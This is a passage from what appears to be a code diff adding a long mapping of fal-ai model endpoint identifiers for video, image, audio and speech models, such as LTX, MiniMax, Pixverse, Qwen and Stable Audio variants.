'fal-ai/ltx-2.3-quality/hdr/lora': 'fal-ai/ltx-2.3-quality/hdr/lora', + 'fal-ai/ltx-2.3-quality/image-to-video': + 'fal-ai/ltx-2.3-quality/image-to-video', + 'fal-ai/ltx-2.3-quality/image-to-video/lora': + 'fal-ai/ltx-2.3-quality/image-to-video/lora', + 'fal-ai/ltx-2.3-quality/ingredient': 'fal-ai/ltx-2.3-quality/ingredient', + 'fal-ai/ltx-2.3-quality/inpaint': 'fal-ai/ltx-2.3-quality/inpaint', + 'fal-ai/ltx-2.3-quality/inpaint/lora': 'fal-ai/ltx-2.3-quality/inpaint/lora', + 'fal-ai/ltx-2.3-quality/instant-shave': + 'fal-ai/ltx-2.3-quality/instant-shave', + 'fal-ai/ltx-2.3-quality/outpaint': 'fal-ai/ltx-2.3-quality/outpaint', + 'fal-ai/ltx-2.3-quality/outpaint/lora': + 'fal-ai/ltx-2.3-quality/outpaint/lora', + 'fal-ai/ltx-2.3-quality/reference-video-to-video': + 'fal-ai/ltx-2.3-quality/reference-video-to-video', + 'fal-ai/ltx-2.3-quality/reference-video-to-video/lora': + 'fal-ai/ltx-2.3-quality/reference-video-to-video/lora', + 'fal-ai/ltx-2.3-quality/render-to-real': + 'fal-ai/ltx-2.3-quality/render-to-real', + 'fal-ai/ltx-2.3-quality/text-to-audio': + 'fal-ai/ltx-2.3-quality/text-to-audio', + 'fal-ai/ltx-2.3-quality/text-to-audio/lora': + 'fal-ai/ltx-2.3-quality/text-to-audio/lora', + 'fal-ai/ltx-2.3-quality/text-to-video': + 'fal-ai/ltx-2.3-quality/text-to-video', + 'fal-ai/ltx-2.3-quality/text-to-video/lora': + 'fal-ai/ltx-2.3-quality/text-to-video/lora', + 'fal-ai/ltx-2.3-quality/water-simulation': + 'fal-ai/ltx-2.3-quality/water-simulation', + 'fal-ai/ltx-2.3/audio-to-video': 'fal-ai/ltx-2.3/audio-to-video', + 'fal-ai/ltx-2.3/extend-video': 'fal-ai/ltx-2.3/extend-video', + 'fal-ai/ltx-2.3/image-to-video': 'fal-ai/ltx-2.3/image-to-video', + 'fal-ai/ltx-2.3/image-to-video/fast': 'fal-ai/ltx-2.3/image-to-video/fast', + 'fal-ai/ltx-2.3/reframe': 'fal-ai/ltx-2.3/reframe', + 'fal-ai/ltx-2.3/retake-video': 'fal-ai/ltx-2.3/retake-video', + 'fal-ai/ltx-2.3/text-to-video': 'fal-ai/ltx-2.3/text-to-video', + 'fal-ai/ltx-2.3/text-to-video/fast': 'fal-ai/ltx-2.3/text-to-video/fast', + 'fal-ai/ltx-video': 'fal-ai/ltx-video', + 'fal-ai/ltx-video-13b-distilled': 'fal-ai/ltx-video-13b-distilled', + 'fal-ai/ltx-video-13b-distilled/extend': + 'fal-ai/ltx-video-13b-distilled/extend', + 'fal-ai/ltx-video-13b-distilled/image-to-video': + 'fal-ai/ltx-video-13b-distilled/image-to-video', + 'fal-ai/ltx-video-13b-distilled/multiconditioning': + 'fal-ai/ltx-video-13b-distilled/multiconditioning', + 'fal-ai/ltx-video/image-to-video': 'fal-ai/ltx-video/image-to-video', + 'fal-ai/ltxv-13b-098-distilled': 'fal-ai/ltxv-13b-098-distilled', + 'fal-ai/ltxv-13b-098-distilled/extend': + 'fal-ai/ltxv-13b-098-distilled/extend', + 'fal-ai/ltxv-13b-098-distilled/image-to-video': + 'fal-ai/ltxv-13b-098-distilled/image-to-video', + 'fal-ai/ltxv-13b-098-distilled/multiconditioning': + 'fal-ai/ltxv-13b-098-distilled/multiconditioning', + 'fal-ai/luma-photon': 'fal-ai/luma-photon', + 'fal-ai/luma-photon/flash': 'fal-ai/luma-photon/flash', + 'fal-ai/luma-photon/flash/modify': 'fal-ai/luma-photon/flash/modify', + 'fal-ai/luma-photon/flash/reframe': 'fal-ai/luma-photon/flash/reframe', + 'fal-ai/luma-photon/modify': 'fal-ai/luma-photon/modify', + 'fal-ai/luma-photon/reframe': 'fal-ai/luma-photon/reframe', + 'fal-ai/lumina-image/v2': 'fal-ai/lumina-image/v2', + 'fal-ai/lyria2': 'fal-ai/lyria2', + 'fal-ai/lyria3': 'fal-ai/lyria3', + 'fal-ai/lyria3/pro': 'fal-ai/lyria3/pro', + 'fal-ai/magi-distilled': 'fal-ai/magi-distilled', + 'fal-ai/magi-distilled/extend-video': 'fal-ai/magi-distilled/extend-video', + 'fal-ai/magi-distilled/image-to-video': + 'fal-ai/magi-distilled/image-to-video', + 'fal-ai/marigold-v2': 'fal-ai/marigold-v2', + 'fal-ai/minimax-music': 'fal-ai/minimax-music', + 'fal-ai/minimax-music/v1.5': 'fal-ai/minimax-music/v1.5', + 'fal-ai/minimax-music/v2': 'fal-ai/minimax-music/v2', + 'fal-ai/minimax-music/v2.5': 'fal-ai/minimax-music/v2.5', + 'fal-ai/minimax-music/v2.6': 'fal-ai/minimax-music/v2.6', + 'fal-ai/minimax/hailuo-02-fast/image-to-video': + 'fal-ai/minimax/hailuo-02-fast/image-to-video', + 'fal-ai/minimax/hailuo-02/pro/image-to-video': + 'fal-ai/minimax/hailuo-02/pro/image-to-video', + 'fal-ai/minimax/hailuo-02/pro/text-to-video': + 'fal-ai/minimax/hailuo-02/pro/text-to-video', + 'fal-ai/minimax/hailuo-02/standard/image-to-video': + 'fal-ai/minimax/hailuo-02/standard/image-to-video', + 'fal-ai/minimax/hailuo-02/standard/text-to-video': + 'fal-ai/minimax/hailuo-02/standard/text-to-video', + 'fal-ai/minimax/hailuo-2.3-fast/pro/image-to-video': + 'fal-ai/minimax/hailuo-2.3-fast/pro/image-to-video', + 'fal-ai/minimax/hailuo-2.3-fast/standard/image-to-video': + 'fal-ai/minimax/hailuo-2.3-fast/standard/image-to-video', + 'fal-ai/minimax/hailuo-2.3/pro/image-to-video': + 'fal-ai/minimax/hailuo-2.3/pro/image-to-video', + 'fal-ai/minimax/hailuo-2.3/pro/text-to-video': + 'fal-ai/minimax/hailuo-2.3/pro/text-to-video', + 'fal-ai/minimax/hailuo-2.3/standard/image-to-video': + 'fal-ai/minimax/hailuo-2.3/standard/image-to-video', + 'fal-ai/minimax/hailuo-2.3/standard/text-to-video': + 'fal-ai/minimax/hailuo-2.3/standard/text-to-video', + 'fal-ai/minimax/image-01': 'fal-ai/minimax/image-01', + 'fal-ai/minimax/image-01/subject-reference': + 'fal-ai/minimax/image-01/subject-reference', + 'fal-ai/minimax/preview/speech-2.5-hd': + 'fal-ai/minimax/preview/speech-2.5-hd', + 'fal-ai/minimax/preview/speech-2.5-turbo': + 'fal-ai/minimax/preview/speech-2.5-turbo', + 'fal-ai/minimax/speech-02-hd': 'fal-ai/minimax/speech-02-hd', + 'fal-ai/minimax/speech-02-turbo': 'fal-ai/minimax/speech-02-turbo', + 'fal-ai/minimax/speech-2.6-hd': 'fal-ai/minimax/speech-2.6-hd', + 'fal-ai/minimax/speech-2.6-turbo': 'fal-ai/minimax/speech-2.6-turbo', + 'fal-ai/minimax/speech-2.8-hd': 'fal-ai/minimax/speech-2.8-hd', + 'fal-ai/minimax/speech-2.8-turbo': 'fal-ai/minimax/speech-2.8-turbo', + 'fal-ai/minimax/video-01': 'fal-ai/minimax/video-01', + 'fal-ai/minimax/video-01-director': 'fal-ai/minimax/video-01-director', + 'fal-ai/minimax/video-01-director/image-to-video': + 'fal-ai/minimax/video-01-director/image-to-video', + 'fal-ai/minimax/video-01-live': 'fal-ai/minimax/video-01-live', + 'fal-ai/minimax/video-01-live/image-to-video': + 'fal-ai/minimax/video-01-live/image-to-video', + 'fal-ai/minimax/video-01-subject-reference': + 'fal-ai/minimax/video-01-subject-reference', + 'fal-ai/minimax/video-01/image-to-video': + 'fal-ai/minimax/video-01/image-to-video', + 'fal-ai/minimax/voice-clone': 'fal-ai/minimax/voice-clone', + 'fal-ai/minimax/voice-design': 'fal-ai/minimax/voice-design', + 'fal-ai/mmaudio-v2': 'fal-ai/mmaudio-v2', + 'fal-ai/mmaudio-v2/text-to-audio': 'fal-ai/mmaudio-v2/text-to-audio', + 'fal-ai/moondream-next/detection': 'fal-ai/moondream-next/detection', + 'fal-ai/moondream3-preview/segment': 'fal-ai/moondream3-preview/segment', + 'fal-ai/moss-image': 'fal-ai/moss-image', + 'fal-ai/motion-to-code/glsl': 'fal-ai/motion-to-code/glsl', + 'fal-ai/motion-to-code/gsap': 'fal-ai/motion-to-code/gsap', + 'fal-ai/nafnet/deblur': 'fal-ai/nafnet/deblur', + 'fal-ai/nafnet/denoise': 'fal-ai/nafnet/denoise', + 'fal-ai/nano-banana': 'fal-ai/nano-banana', + 'fal-ai/nano-banana-2': 'fal-ai/nano-banana-2', + 'fal-ai/nano-banana-2/edit': 'fal-ai/nano-banana-2/edit', + 'fal-ai/nano-banana-pro': 'fal-ai/nano-banana-pro', + 'fal-ai/nano-banana-pro/edit': 'fal-ai/nano-banana-pro/edit', + 'fal-ai/nano-banana/edit': 'fal-ai/nano-banana/edit', + 'fal-ai/nucleus-image': 'fal-ai/nucleus-image', + 'fal-ai/object-removal': 'fal-ai/object-removal', + 'fal-ai/object-removal/bbox': 'fal-ai/object-removal/bbox', + 'fal-ai/object-removal/mask': 'fal-ai/object-removal/mask', + 'fal-ai/omnigen-v2': 'fal-ai/omnigen-v2', + 'fal-ai/one-to-all-animation/1.3b': 'fal-ai/one-to-all-animation/1.3b', + 'fal-ai/one-to-all-animation/14b': 'fal-ai/one-to-all-animation/14b', + 'fal-ai/orpheus-tts': 'fal-ai/orpheus-tts', + 'fal-ai/ovi': 'fal-ai/ovi', + 'fal-ai/ovi/image-to-video': 'fal-ai/ovi/image-to-video', + 'fal-ai/patina': 'fal-ai/patina', + 'fal-ai/patina/material': 'fal-ai/patina/material', + 'fal-ai/patina/material/extract': 'fal-ai/patina/material/extract', + 'fal-ai/phota': 'fal-ai/phota', + 'fal-ai/phota/edit': 'fal-ai/phota/edit', + 'fal-ai/phota/enhance': 'fal-ai/phota/enhance', + 'fal-ai/pixverse/c1/image-to-video': 'fal-ai/pixverse/c1/image-to-video', + 'fal-ai/pixverse/c1/reference-to-video': + 'fal-ai/pixverse/c1/reference-to-video', + 'fal-ai/pixverse/c1/text-to-video': 'fal-ai/pixverse/c1/text-to-video', + 'fal-ai/pixverse/c1/transition': 'fal-ai/pixverse/c1/transition', + 'fal-ai/pixverse/extend': 'fal-ai/pixverse/extend', + 'fal-ai/pixverse/extend/fast': 'fal-ai/pixverse/extend/fast', + 'fal-ai/pixverse/lipsync': 'fal-ai/pixverse/lipsync', + 'fal-ai/pixverse/sound-effects': 'fal-ai/pixverse/sound-effects', + 'fal-ai/pixverse/swap': 'fal-ai/pixverse/swap', + 'fal-ai/pixverse/v3.5/effects': 'fal-ai/pixverse/v3.5/effects', + 'fal-ai/pixverse/v3.5/image-to-video': 'fal-ai/pixverse/v3.5/image-to-video', + 'fal-ai/pixverse/v3.5/image-to-video/fast': + 'fal-ai/pixverse/v3.5/image-to-video/fast', + 'fal-ai/pixverse/v3.5/text-to-video': 'fal-ai/pixverse/v3.5/text-to-video', + 'fal-ai/pixverse/v3.5/text-to-video/fast': + 'fal-ai/pixverse/v3.5/text-to-video/fast', + 'fal-ai/pixverse/v3.5/transition': 'fal-ai/pixverse/v3.5/transition', + 'fal-ai/pixverse/v4.5/effects': 'fal-ai/pixverse/v4.5/effects', + 'fal-ai/pixverse/v4.5/image-to-video': 'fal-ai/pixverse/v4.5/image-to-video', + 'fal-ai/pixverse/v4.5/image-to-video/fast': + 'fal-ai/pixverse/v4.5/image-to-video/fast', + 'fal-ai/pixverse/v4.5/text-to-video': 'fal-ai/pixverse/v4.5/text-to-video', + 'fal-ai/pixverse/v4.5/text-to-video/fast': + 'fal-ai/pixverse/v4.5/text-to-video/fast', + 'fal-ai/pixverse/v4.5/transition': 'fal-ai/pixverse/v4.5/transition', + 'fal-ai/pixverse/v4/effects': 'fal-ai/pixverse/v4/effects', + 'fal-ai/pixverse/v4/image-to-video': 'fal-ai/pixverse/v4/image-to-video', + 'fal-ai/pixverse/v4/image-to-video/fast': + 'fal-ai/pixverse/v4/image-to-video/fast', + 'fal-ai/pixverse/v4/text-to-video': 'fal-ai/pixverse/v4/text-to-video', + 'fal-ai/pixverse/v4/text-to-video/fast': + 'fal-ai/pixverse/v4/text-to-video/fast', + 'fal-ai/pixverse/v5.5/effects': 'fal-ai/pixverse/v5.5/effects', + 'fal-ai/pixverse/v5.5/image-to-video': 'fal-ai/pixverse/v5.5/image-to-video', + 'fal-ai/pixverse/v5.5/text-to-video': 'fal-ai/pixverse/v5.5/text-to-video', + 'fal-ai/pixverse/v5.5/transition': 'fal-ai/pixverse/v5.5/transition', + 'fal-ai/pixverse/v5.6/image-to-video': 'fal-ai/pixverse/v5.6/image-to-video', + 'fal-ai/pixverse/v5.6/text-to-video': 'fal-ai/pixverse/v5.6/text-to-video', + 'fal-ai/pixverse/v5.6/transition': 'fal-ai/pixverse/v5.6/transition', + 'fal-ai/pixverse/v5/effects': 'fal-ai/pixverse/v5/effects', + 'fal-ai/pixverse/v5/image-to-video': 'fal-ai/pixverse/v5/image-to-video', + 'fal-ai/pixverse/v5/text-to-video': 'fal-ai/pixverse/v5/text-to-video', + 'fal-ai/pixverse/v5/transition': 'fal-ai/pixverse/v5/transition', + 'fal-ai/pixverse/v6/extend': 'fal-ai/pixverse/v6/extend', + 'fal-ai/pixverse/v6/image-to-video': 'fal-ai/pixverse/v6/image-to-video', + 'fal-ai/pixverse/v6/text-to-video': 'fal-ai/pixverse/v6/text-to-video', + 'fal-ai/pixverse/v6/transition': 'fal-ai/pixverse/v6/transition', + 'fal-ai/post-processing': 'fal-ai/post-processing', + 'fal-ai/post-processing/blur': 'fal-ai/post-processing/blur', + 'fal-ai/post-processing/chromatic-aberration': + 'fal-ai/post-processing/chromatic-aberration', + 'fal-ai/post-processing/color-correction': + 'fal-ai/post-processing/color-correction', + 'fal-ai/post-processing/color-tint': 'fal-ai/post-processing/color-tint', + 'fal-ai/post-processing/desaturate': 'fal-ai/post-processing/desaturate', + 'fal-ai/post-processing/dissolve': 'fal-ai/post-processing/dissolve', + 'fal-ai/post-processing/dodge-burn': 'fal-ai/post-processing/dodge-burn', + 'fal-ai/post-processing/grain': 'fal-ai/post-processing/grain', + 'fal-ai/post-processing/parabolize': 'fal-ai/post-processing/parabolize', + 'fal-ai/post-processing/sharpen': 'fal-ai/post-processing/sharpen', + 'fal-ai/post-processing/solarize': 'fal-ai/post-processing/solarize', + 'fal-ai/post-processing/vignette': 'fal-ai/post-processing/vignette', + 'fal-ai/qwen-3-tts/clone-voice/0.6b': 'fal-ai/qwen-3-tts/clone-voice/0.6b', + 'fal-ai/qwen-3-tts/clone-voice/1.7b': 'fal-ai/qwen-3-tts/clone-voice/1.7b', + 'fal-ai/qwen-3-tts/text-to-speech/0.6b': + 'fal-ai/qwen-3-tts/text-to-speech/0.6b', + 'fal-ai/qwen-3-tts/text-to-speech/1.7b': + 'fal-ai/qwen-3-tts/text-to-speech/1.7b', + 'fal-ai/qwen-3-tts/voice-design/1.7b': 'fal-ai/qwen-3-tts/voice-design/1.7b', + 'fal-ai/qwen-image': 'fal-ai/qwen-image', + 'fal-ai/qwen-image-2512': 'fal-ai/qwen-image-2512', + 'fal-ai/qwen-image-2512/lora': 'fal-ai/qwen-image-2512/lora', + 'fal-ai/qwen-image-edit-2509': 'fal-ai/qwen-image-edit-2509', + 'fal-ai/qwen-image-edit-2509-lora': 'fal-ai/qwen-image-edit-2509-lora', + 'fal-ai/qwen-image-edit-2509-lora-gallery/add-background': + 'fal-ai/qwen-image-edit-2509-lora-gallery/add-background', + 'fal-ai/qwen-image-edit-2509-lora-gallery/face-to-full-portrait': + 'fal-ai/qwen-image-edit-2509-lora-gallery/face-to-full-portrait', + 'fal-ai/qwen-image-edit-2509-lora-gallery/group-photo': + 'fal-ai/qwen-image-edit-2509-lora-gallery/group-photo', + 'fal-ai/qwen-image-edit-2509-lora-gallery/integrate-product': + 'fal-ai/qwen-image-edit-2509-lora-gallery/integrate-product', + 'fal-ai/qwen-image-edit-2509-lora-gallery/lighting-restoration': + 'fal-ai/qwen-image-edit-2509-lora-gallery/lighting-restoration', + 'fal-ai/qwen-image-edit-2509-lora-gallery/multiple-angles': + 'fal-ai/qwen-image-edit-2509-lora-gallery/multiple-angles', + 'fal-ai/qwen-image-edit-2509-lora-gallery/next-scene': + 'fal-ai/qwen-image-edit-2509-lora-gallery/next-scene', + 'fal-ai/qwen-image-edit-2509-lora-gallery/remove-element': + 'fal-ai/qwen-image-edit-2509-lora-gallery/remove-element', + 'fal-ai/qwen-image-edit-2509-lora-gallery/remove-lighting': + 'fal-ai/qwen-image-edit-2509-lora-gallery/remove-lighting', + 'fal-ai/qwen-image-edit-2509-lora-gallery/shirt-design': + 'fal-ai/qwen-image-edit-2509-lora-gallery/shirt-design', + 'fal-ai/qwen-image-edit-2511': 'fal-ai/qwen-image-edit-2511', + 'fal-ai/qwen-image-edit-2511-multiple-angles': + 'fal-ai/qwen-image-edit-2511-multiple-angles', + 'fal-ai/qwen-image-edit-2511/lora': 'fal-ai/qwen-image-edit-2511/lora', + 'fal-ai/qwen-image-edit-lora': 'fal-ai/qwen-image-edit-lora', + 'fal-ai/qwen-image-edit-plus': 'fal-ai/qwen-image-edit-plus', + 'fal-ai/qwen-image-edit-plus-lora': 'fal-ai/qwen-image-edit-plus-lora', + 'fal-ai/qwen-image-edit-plus-lora-gallery/add-background': + 'fal-ai/qwen-image-edit-plus-lora-gallery/add-background', + 'fal-ai/qwen-image-edit-plus-lora-gallery/face-to-full-portrait': + 'fal-ai/qwen-image-edit-plus-lora-gallery/face-to-full-portrait', + 'fal-ai/qwen-image-edit-plus-lora-gallery/group-photo': + 'fal-ai/qwen-image-edit-plus-lora-gallery/group-photo', + 'fal-ai/qwen-image-edit-plus-lora-gallery/integrate-product': + 'fal-ai/qwen-image-edit-plus-lora-gallery/integrate-product', + 'fal-ai/qwen-image-edit-plus-lora-gallery/lighting-restoration': + 'fal-ai/qwen-image-edit-plus-lora-gallery/lighting-restoration', + 'fal-ai/qwen-image-edit-plus-lora-gallery/multiple-angles': + 'fal-ai/qwen-image-edit-plus-lora-gallery/multiple-angles', + 'fal-ai/qwen-image-edit-plus-lora-gallery/next-scene': + 'fal-ai/qwen-image-edit-plus-lora-gallery/next-scene', + 'fal-ai/qwen-image-edit-plus-lora-gallery/remove-element': + 'fal-ai/qwen-image-edit-plus-lora-gallery/remove-element', + 'fal-ai/qwen-image-edit-plus-lora-gallery/remove-lighting': + 'fal-ai/qwen-image-edit-plus-lora-gallery/remove-lighting', + 'fal-ai/qwen-image-edit-plus-lora-gallery/shirt-design': + 'fal-ai/qwen-image-edit-plus-lora-gallery/shirt-design', + 'fal-ai/qwen-image-edit/image-to-image': + 'fal-ai/qwen-image-edit/image-to-image', + 'fal-ai/qwen-image-edit/inpaint': 'fal-ai/qwen-image-edit/inpaint', + 'fal-ai/qwen-image-layered': 'fal-ai/qwen-image-layered', + 'fal-ai/qwen-image-layered/lora': 'fal-ai/qwen-image-layered/lora', + 'fal-ai/qwen-image/image-to-image': 'fal-ai/qwen-image/image-to-image', + 'fal-ai/recraft-20b': 'fal-ai/recraft-20b', + 'fal-ai/recraft/upscale/creative': 'fal-ai/recraft/upscale/creative', + 'fal-ai/recraft/upscale/crisp': 'fal-ai/recraft/upscale/crisp', + 'fal-ai/recraft/v3/image-to-image': 'fal-ai/recraft/v3/image-to-image', + 'fal-ai/recraft/v3/text-to-image': 'fal-ai/recraft/v3/text-to-image', + 'fal-ai/recraft/v4.1/pro/text-to-image': + 'fal-ai/recraft/v4.1/pro/text-to-image', + 'fal-ai/recraft/v4.1/pro/text-to-vector': + 'fal-ai/recraft/v4.1/pro/text-to-vector', + 'fal-ai/recraft/v4.1/text-to-image': 'fal-ai/recraft/v4.1/text-to-image', + 'fal-ai/recraft/v4.1/text-to-vector': 'fal-ai/recraft/v4.1/text-to-vector', + 'fal-ai/recraft/v4.1/utility/pro/text-to-image': + 'fal-ai/recraft/v4.1/utility/pro/text-to-image', + 'fal-ai/recraft/v4.1/utility/text-to-image': + 'fal-ai/recraft/v4.1/utility/text-to-image', + 'fal-ai/recraft/v4/pro/text-to-image': 'fal-ai/recraft/v4/pro/text-to-image', + 'fal-ai/recraft/v4/pro/text-to-vector': + 'fal-ai/recraft/v4/pro/text-to-vector', + 'fal-ai/recraft/v4/text-to-image': 'fal-ai/recraft/v4/text-to-image', + 'fal-ai/recraft/v4/text-to-vector': 'fal-ai/recraft/v4/text-to-vector', + 'fal-ai/recraft/vectorize': 'fal-ai/recraft/vectorize', + 'fal-ai/retoucher': 'fal-ai/retoucher', + 'fal-ai/rife': 'fal-ai/rife', + 'fal-ai/rife/video': 'fal-ai/rife/video', + 'fal-ai/sadtalker': 'fal-ai/sadtalker', + 'fal-ai/sadtalker/reference': 'fal-ai/sadtalker/reference', + 'fal-ai/sam-3-1/image': 'fal-ai/sam-3-1/image', + 'fal-ai/sam-3-1/image-rle': 'fal-ai/sam-3-1/image-rle', + 'fal-ai/sam-3-1/video': 'fal-ai/sam-3-1/video', + 'fal-ai/sam-3-1/video-rle': 'fal-ai/sam-3-1/video-rle', + 'fal-ai/sam-3/image': 'fal-ai/sam-3/image', + 'fal-ai/sam-3/image-rle': 'fal-ai/sam-3/image-rle', + 'fal-ai/sam-3/video': 'fal-ai/sam-3/video', + 'fal-ai/sam-3/video-rle': 'fal-ai/sam-3/video-rle', + 'fal-ai/sam-audio/separate': 'fal-ai/sam-audio/separate', + 'fal-ai/sam-audio/span-separate': 'fal-ai/sam-audio/span-separate', + 'fal-ai/sam-audio/visual-separate': 'fal-ai/sam-audio/visual-separate', + 'fal-ai/sam2/auto-segment': 'fal-ai/sam2/auto-segment', + 'fal-ai/sam2/image': 'fal-ai/sam2/image', + 'fal-ai/sam2/video': 'fal-ai/sam2/video', + 'fal-ai/sana': 'fal-ai/sana', + 'fal-ai/sana/sprint': 'fal-ai/sana/sprint', + 'fal-ai/sana/v1.5/1.6b': 'fal-ai/sana/v1.5/1.6b', + 'fal-ai/sana/v1.5/4.8b': 'fal-ai/sana/v1.5/4.8b', + 'fal-ai/scail-2': 'fal-ai/scail-2', + 'fal-ai/sdxl-controlnet-union': 'fal-ai/sdxl-controlnet-union', + 'fal-ai/sdxl-controlnet-union/image-to-image': + 'fal-ai/sdxl-controlnet-union/image-to-image', + 'fal-ai/sdxl-controlnet-union/inpainting': + 'fal-ai/sdxl-controlnet-union/inpainting', + 'fal-ai/seedvr/upscale/image': 'fal-ai/seedvr/upscale/image', + 'fal-ai/seedvr/upscale/image/seamless': + 'fal-ai/seedvr/upscale/image/seamless', + 'fal-ai/seedvr/upscale/video': 'fal-ai/seedvr/upscale/video', + 'fal-ai/silero-vad': 'fal-ai/silero-vad', + 'fal-ai/smart-resize': 'fal-ai/smart-resize', + 'fal-ai/speech-to-text': 'fal-ai/speech-to-text', + 'fal-ai/speech-to-text/stream': 'fal-ai/speech-to-text/stream', + 'fal-ai/speech-to-text/turbo': 'fal-ai/speech-to-text/turbo', + 'fal-ai/speech-to-text/turbo/stream': 'fal-ai/speech-to-text/turbo/stream', + 'fal-ai/stable-audio': 'fal-ai/stable-audio', + 'fal-ai/stable-audio-25/audio-to-audio': + 'fal-ai/stable-audio-25/audio-to-audio', + 'fal-ai/stable-audio-25/inpaint': 'fal-ai/stable-audio-25/inpaint', + 'fal-ai/stable-audio-25/text-to-audio': + 'fal-ai/stable-audio-25/text-to-audio', + 'fal-ai/stable-audio-3/medium/audio-inpainting': + 'fal-ai/stable-audio-3/medium/audio-inpainting', + 'fal-ai/stable-audio-3/medium/audio-outpainting': + 'fal-ai/stable-audio-3/medium/audio-outpainting', + 'fal-ai/stable-audio-3/medium/audio-to-audio': + 'fal-ai/stable-audio-3/medium/audio-to-audio', + 'fal-ai/stable-audio-3/medium/base/audio-inpainting': + 'fal-ai/stable-audio-3/medium/base/audio-inpainting', + 'fal-ai/stable-audio-3/medium/base/audio-outpainting': + 'fal-ai/stable-audio-3/medium/base/audio-outpainting', + 'fal-ai/stable-audio-3/medium/base/audio-to-audio': + 'fal-ai/stable-audio-3/medium/base/audio-to-audio', + 'fal-ai/stable-audio-3/medium/base/text-to-audio': + 'fal-ai/stable-audio-3/medium/base/text-to-audio', + 'fal-ai/stable-audio-3/medium/text-to-audio': + 'fal-ai/stable-audio-3/medium/text-to-audio', + 'fal-ai/stable-audio-3/small/music/audio-inpainting': + 'fal-ai/stable-audio-3/small/music/audio-inpainting', + 'fal-ai/stable-audio-3/small/music/audio-outpainting': + 'fal-ai/stable-audio-3/small/music/audio-outpainting', + 'fal-ai/stable-audio-3/small/music/audio-to-audio': + 'fal-ai/stable-audio-3/small/music/audio-to-audio', + 'fal-ai/stable-audio-3/small/music/base/audio-inpainting': + 'fal-ai/stable-audio-3/small/music/base/audio-inpainting', + 'fal-ai/stable-audio-3/small/music/base/audio-outpainting': + 'fal-ai/stable-audio-3/small/music/base/audio-outpainting', + 'fal-ai/stable-audio-3/small/music/base/audio-to-audio': + 'fal-ai/stable-audio-3/small/music/base/audio-to-audio', + 'fal-ai/stable-audio-3/small/music/base/text-to-audio': + 'fal-ai/stable-audio-3/small/music/base/text-to-audio', + 'fal-ai/stable-audio-3/small/music/text-to-audio': + 'fal-ai/stable-audio-3/small/music/text-to-audio', + 'fal-ai/stable-audio-3/small/sfx/audio-inpainting': + 'fal-ai/stable-audio-3/small/sfx/audio-inpainting', + 'fal-ai/stable-audio-3/small/sfx/audio-outpainting': + 'fal-ai/stable-audio-3/small/sfx/audio-outpainting', + 'fal-ai/stable-audio-3/small/sfx/audio-to-audio': + 'fal-ai/stable-audio-3/small/sfx/audio-to-audio', + 'fal-ai/stable-audio-3/small/sfx/base/audio-inpainting': + 'fal-ai/stable-audio-3/small/sfx/base/audio-inpainting', + 'fal-ai/stable-audio-3/small/sfx/base/audio-outpainting': + 'fal-ai/stable-audio-3/small/sfx/base/audio-outpainting', + 'fal-ai/stable-audio-3/small/sfx/base/audio-to-audio': + 'fal-ai/stable-audio-3/small/sfx/base/audio-to-audio', + 'fal-ai/stable-audio-3/small/sfx/base/text-to-audio': + 'fal-ai/stable-audio-3/small/sfx/base/text-to-audio', + 'fal-ai/stable-audio-3/small/sfx/text-to-audio': + 'fal-ai/stable-audio-3/small/sfx/text-to-audio', + 'fal-ai/stable-diffusion-v15': 'fal-ai/stable-diffusion-v15', + 'fal-ai/stable-diffusion-v3-medium': 'fal-ai/stable-diffusion-v3-medium', + 'fal-ai/stable-diffusion-v3-medium/image-to-image': + 'fal-ai/stable-diffusion-v3-medium/image-to-image', + 'fal-ai/stable-diffusion-v35-large': 'fal-ai/stable-diffusion-v35-large', + 'fal-ai/stable-diffusion-v35-medium': 'fal-ai/stable-diffusion-v35-medium', + 'fal-ai/stepx-edit2': 'fal-ai/stepx-edit2', + 'fal-ai/sync-lipsync': 'fal-ai/sync-lipsync', + 'fal-ai/sync-lipsync/react-1': 'fal-ai/sync-lipsync/react-1', + 'fal-ai/sync-lipsync/v2': 'fal-ai/sync-lipsync/v2', + 'fal-ai/sync-lipsync/v2/pro': 'fal-ai/sync-lipsync/v2/pro', + 'fal-ai/sync-lipsync/v3': 'fal-ai/sync-lipsync/v3', + 'fal-ai/sync-lipsync/v3/image-to-video': + 'fal-ai/sync-lipsync/v3/image-to-video', + 'fal-ai/tada/1b/text-to-speech': 'fal-ai/tada/1b/text-to-speech', + 'fal-ai/tada/3b/text-to-speech': 'fal-ai/tada/3b/text-to-speech', + 'fal-ai/telestyle-v2': 'fal-ai/telestyle-v2', + 'fal-ai/thinksound': 'fal-ai/thinksound', + 'fal-ai/thinksound/audio': 'fal-ai/thinksound/audio', + 'fal-ai/uso': 'fal-ai/uso', + 'fal-ai/vibevoice': 'fal-ai/vibevoice', + 'fal-ai/vibevoice/0.5b': 'fal-ai/vibevoice/0.5b', + 'fal-ai/vibevoice/7b': 'fal-ai/vibevoice/7b', + 'fal-ai/video-prompt-generator': 'fal-ai/video-prompt-generator', + 'fal-ai/video-upscaler': 'fal-ai/video-upscaler', + 'fal-ai/vidu/image-to-video': 'fal-ai/vidu/image-to-video', + 'fal-ai/vidu/q1/image-to-video': 'fal-ai/vidu/q1/image-to-video', + 'fal-ai/vidu/q1/reference-to-video': 'fal-ai/vidu/q1/reference-to-video', + 'fal-ai/vidu/q1/start-end-to-video': 'fal-ai/vidu/q1/start-end-to-video', + 'fal-ai/vidu/q1/text-to-video': 'fal-ai/vidu/q1/text-to-video', + 'fal-ai/vidu/q2/image-to-video/pro': 'fal-ai/vidu/q2/image-to-video/pro', + 'fal-ai/vidu/q2/image-to-video/turbo': 'fal-ai/vidu/q2/image-to-video/turbo', + 'fal-ai/vidu/q2/reference-to-image': 'fal-ai/vidu/q2/reference-to-image', + 'fal-ai/vidu/q2/reference-to-video/pro': + 'fal-ai/vidu/q2/reference-to-video/pro', + 'fal-ai/vidu/q2/text-to-image': 'fal-ai/vidu/q2/text-to-image', + 'fal-ai/vidu/q2/text-to-video': 'fal-ai/vidu/q2/text-to-video', + 'fal-ai/vidu/q2/video-extension/pro': 'fal-ai/vidu/q2/video-extension/pro', + 'fal-ai/vidu/q3/image-to-video': 'fal-ai/vidu/q3/image-to-video', + 'fal-ai/vidu/q3/image-to-video/turbo': 'fal-ai/vidu/q3/image-to-video/turbo', + 'fal-ai/vidu/q3/reference-to-video/mix': + 'fal-ai/vidu/q3/reference-to-video/mix', + 'fal-ai/vidu/q3/text-to-video': 'fal-ai/vidu/q3/text-to-video', + 'fal-ai/vidu/q3/text-to-video/turbo': 'fal-ai/vidu/q3/text-to-video/turbo', + 'fal-ai/vidu/q4/image-to-video': 